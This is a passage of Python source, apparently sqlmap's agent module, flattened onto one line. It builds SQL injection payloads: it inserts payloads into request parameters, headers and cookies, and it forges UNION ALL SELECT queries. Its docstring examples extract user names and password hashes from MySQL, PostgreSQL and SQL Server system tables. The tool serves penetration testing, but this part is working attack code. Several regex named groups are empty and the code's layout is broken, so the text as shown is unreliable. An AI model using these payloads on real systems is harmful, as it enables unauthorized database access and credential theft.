conf.paramDict[place] origValue = getUnicode(paramDict[parameter]) if place == PLACE.URI: paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] origValue = origValue[origValue.rfind('/') + 1:] for char in ('?', '=', ':'): if char in origValue: origValue = origValue[origValue.rfind(char) + 1:] elif place == PLACE.CUSTOM_POST: paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = origValue.split('>')[-1] elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P[^"\[,]+\Z)', origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" elif place == PLACE.CUSTOM_HEADER: paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] origValue = origValue[origValue.index(',') + 1:] match = re.search(r"([^;]+)=(?P[^;]+);?\Z", origValue) if match: origValue = match.group("value") elif ',' in paramString: header = paramString.split(',')[0] if header.upper() == HTTP_HEADER.AUTHORIZATION.upper(): origValue = origValue.split(' ')[-1].split(':')[-1] if value is None: if where == PAYLOAD.WHERE.ORIGINAL: value = origValue elif where == PAYLOAD.WHERE.NEGATIVE: if conf.invalidLogical: match = re.search(r'\A[^ ]+', newValue) newValue = newValue[len(match.group() if match else ""):] _ = randomInt(2) value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: value = randomInt(6) elif conf.invalidString: value = randomStr(6) else: if newValue.startswith("-"): value = "" else: value = "-%s" % randomInt() elif where == PAYLOAD.WHERE.REPLACE: value = "" else: value = origValue newValue = "%s%s" % (value, newValue) newValue = self.cleanupPayload(newValue, origValue) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR) if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString: newValue = '"%s"' % newValue elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString: newValue = "'%s'" % newValue newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER) retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR) elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: def _(pattern, repl, string): retVal = string match = None for match in re.finditer(pattern, string): pass if match: while True: _ = re.search(r"\\g<([^>]+)>", repl) if _: try: repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) except IndexError: break else: break retVal = string[:match.start()] + repl + string[match.end():] return retVal if origValue: regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) else: retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) if retVal == paramString and urlencode(parameter) != parameter: retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) if retVal: retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') return retVal def fullPayload(self, query): if conf.direct: return self.payloadDirect(query) query = self.prefixQuery(query) query = self.suffixQuery(query) payload = self.payload(newValue=query) return payload def prefixQuery(self, expression, prefix=None, where=None, clause=None): """ This method defines how the input expression has to be escaped to perform the injection depending on the injection type identified as valid """ if conf.direct: return self.payloadDirect(expression) if expression is None: return None expression = self.cleanupPayload(expression) expression = unescaper.escape(expression) query = None if where is None and kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where # If we are replacing () the parameter original value with # our payload do not prepend with the prefix if where == PAYLOAD.WHERE.REPLACE: query = "" # If the technique is stacked queries () do not put a space # after the prefix or it is in GROUP BY / ORDER BY () elif kb.technique == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]: query = kb.injection.prefix elif clause == [2, 3] or clause == [2] or clause == [3]: query = prefix # In any other case prepend with the full prefix else: query = kb.injection.prefix or prefix or "" if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) return query def suffixQuery(self, expression, comment=None, suffix=None, where=None): """ This method appends the DBMS comment to the SQL injection request """ if conf.direct: return self.payloadDirect(expression) if expression is None: return None expression = self.cleanupPayload(expression) # Take default values if None suffix = kb.injection.suffix if kb.injection and suffix is None else suffix if kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where if where is None else where comment = kb.injection.data[kb.technique].comment if comment is None else comment if Backend.getIdentifiedDbms() == DBMS.ACCESS and comment == GENERIC_SQL_COMMENT: comment = queries[DBMS.ACCESS].comment.query if comment is not None: expression += comment # If we are replacing () the parameter original value with # our payload do not append the suffix if where == PAYLOAD.WHERE.REPLACE and not conf.suffix: pass elif suffix and not comment: expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) return re.sub(r"(?s);\W*;", ";", expression) def cleanupPayload(self, payload, origValue=None): if payload is None: return _ = ( ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\ ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\ ("[HASH_REPLACE]", kb.chars.hash_), ) payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) if origValue is not None and "[ORIGVALUE]" in payload: payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[INFERENCE]" in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) return payload def adjustLateValues(self, payload): """ Returns payload with a replaced late tags (e.g. SLEEPTIME) """ if payload: payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) return payload def getComment(self, request): """ Returns comment form for the given request """ return request.comment if "comment" in request else "" def hexConvertField(self, field): """ Returns hex converted field string """ rootQuery = queries[Backend.getIdentifiedDbms()] hexField = field if 'hex' in rootQuery: hexField = rootQuery.hex.query % field else: warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return hexField def nullAndCastField(self, field): """ Take in input a field string and return its processed nulled and casted field string. Examples: MySQL input: VERSION() MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ') MySQL scope: VERSION() PostgreSQL input: VERSION() PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ') PostgreSQL scope: VERSION() Oracle input: banner Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ') Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1 Microsoft SQL Server input: @@VERSION Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ') Microsoft SQL Server scope: @@VERSION @param field: field string to be processed @type field: C{str} @return: field string nulled and casted @rtype: C{str} """ nulledCastedField = field if field: rootQuery = queries[Backend.getIdentifiedDbms()] if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast: nulledCastedField = field else: if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field if Backend.getIdentifiedDbms() in (DBMS.ACCESS,): nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField) else: nulledCastedField = rootQuery.isnull.query % nulledCastedField kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',') if conf.hexConvert or kb.binaryField: nulledCastedField = self.hexConvertField(nulledCastedField) return nulledCastedField def nullCastConcatFields(self, fields): """ Take in input a sequence of fields string and return its processed nulled, casted and concatenated fields string. Examples: MySQL input: user,password MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ') MySQL scope: SELECT user, password FROM mysql.user PostgreSQL input: usename,passwd PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ') PostgreSQL scope: SELECT usename, passwd FROM pg_shadow Oracle input: COLUMN_NAME,DATA_TYPE Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ') Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password) Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ') Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins @param fields: fields string to be processed @type fields: C{str} @return: fields string nulled, casted and concatened @rtype: C{str} """ if not Backend.getDbms(): return fields if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields): nulledCastedConcatFields = fields else: fieldsSplitted = splitFields(fields) dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query nulledCastedFields = [] for field in fieldsSplitted: nulledCastedFields.append(self.nullAndCastField(field)) delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter) nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields) return nulledCastedConcatFields def getFields(self, query): """ Take in input a query string and return its fields (columns) and more details. Example: Input: SELECT user, password FROM mysql.user Output: user,password @param query: query to be processed @type query: C{str} @return: query fields (columns) and more details @rtype: C{str} """ prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT \d+)\s+\d+)*" fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I) fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I) fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I) fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsNoSelect = query _ = zeroDepthSearch(query, " FROM ") if not _: fieldsSelectFrom = None fieldsToCastStr = fieldsNoSelect if fieldsSubstr: fieldsToCastStr = query elif fieldsMinMaxstr: fieldsToCastStr = fieldsMinMaxstr.groups()[0] elif fieldsExists: if fieldsSelect: fieldsToCastStr = fieldsSelect.groups()[0] elif fieldsSelectTop: fieldsToCastStr = fieldsSelectTop.groups()[0] elif fieldsSelectRownum: fieldsToCastStr = fieldsSelectRownum.groups()[0] elif fieldsSelectDistinct: if Backend.getDbms() in (DBMS.HSQLDB,): fieldsToCastStr = fieldsNoSelect else: fieldsToCastStr = fieldsSelectDistinct.groups()[0] elif fieldsSelectCase: fieldsToCastStr = fieldsSelectCase.groups()[0] elif fieldsSelectFrom: fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr) elif fieldsSelect: fieldsToCastStr = fieldsSelect.groups()[0] # Function if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = splitFields(fieldsToCastStr) return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists def simpleConcatenate(self, first, second): rootQuery = queries[Backend.getIdentifiedDbms()] return rootQuery.concatenate.query % (first, second) def preprocessField(self, table, field): """ Does a field preprocessing (if needed) based on its type (e.g. image to text) Note: used primarily in dumping of custom tables """ retVal = field if conf.db and table and conf.db in table: table = table.split(conf.db)[-1].strip('.') try: columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)] for name, type_ in columns.items(): if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field: retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name break except KeyError: pass return retVal def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, casted and concatenated query string. Examples: MySQL input: SELECT user, password FROM mysql.user MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user PostgreSQL input: SELECT usename, passwd FROM pg_shadow PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins @param query: query string to be processed @type query: C{str} @return: query string nulled, casted and concatenated @rtype: C{str} """ if unpack: concatenatedQuery = "" query = query.replace(", ", ',') fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) else: return query if Backend.isDbms(DBMS.MYSQL): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectFrom: _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1) concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.isDbms(DBMS.ACCESS): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1) concatenatedQuery += ")&'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) else: warnMsg = "applying generic concatenation with double pipes ('||')" singleTimeWarnMessage(warnMsg) if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1) concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) return concatenatedQuery def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488 PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713 Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)) Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738 Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254 @param query: it is a processed query string unescaped to be forged within an UNION ALL SELECT statement @type query: C{str} @param position: it is the NULL position where it is possible to inject the query @type position: C{int} @return: UNION ALL SELECT query string forged @rtype: C{str} """ if conf.uFrom: fromTable = " FROM %s" % conf.uFrom else: fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "") if query.startswith("SELECT "): query = query[len("SELECT "):] unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery else: _ = zeroDepthSearch(query, " FROM ") if _: fromTable = query[_[0]:] if fromTable and query.endswith(fromTable): query = query[:-len(fromTable)] topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I) if topNumRegex: topNum = topNumRegex.group(1) query = query[len("TOP %s " % topNum):] unionQuery += "TOP %s " % topNum intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) if intoRegExp: intoRegExp = intoRegExp.group(1) query = query[:query.index(intoRegExp)] for element in xrange(0, count): if element > 0: unionQuery += ',' if element == position: unionQuery += query else: unionQuery += char if fromTable and not unionQuery.endswith(fromTable): unionQuery += fromTable if intoRegExp: unionQuery += intoRegExp if multipleUnions: unionQuery += " UNION ALL SELECT " for element in xrange(count): if element > 0: unionQuery += ',' if element == position: unionQuery += multipleUnions else: unionQuery += char if fromTable: unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery def limitCondition(self, expression, dump=False): startLimit = 0 stopLimit = None limitCond = True topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"): limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I) else: limitRegExp2 = None if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): if limitRegExp: startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) elif limitRegExp2: startLimit = 0 stopLimit = limitRegExp2.group(int(limitGroupStart)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False # We assume that only queries NOT containing a "LIMIT #, 1" # (or equivalent depending on the back-end DBMS) can return # multiple entries if limitCond: if (limitRegExp or limitRegExp2) and stopLimit is not None: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or equivalent, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): stopLimit += startLimit if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) else: _ = expression.index("LIMIT ") expression = expression[:_] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 if conf.limitStop: stopLimit = conf.limitStop return expression, limitCond, topLimit, startLimit, stopLimit def limitQuery(self, num, query, field=None, uniqueField=None): """ Take in input a query string and return its limited query string. Example: Input: SELECT user FROM mysql.users Output: SELECT user FROM mysql.users LIMIT , 1 @param num: limit number @type num: C{int} 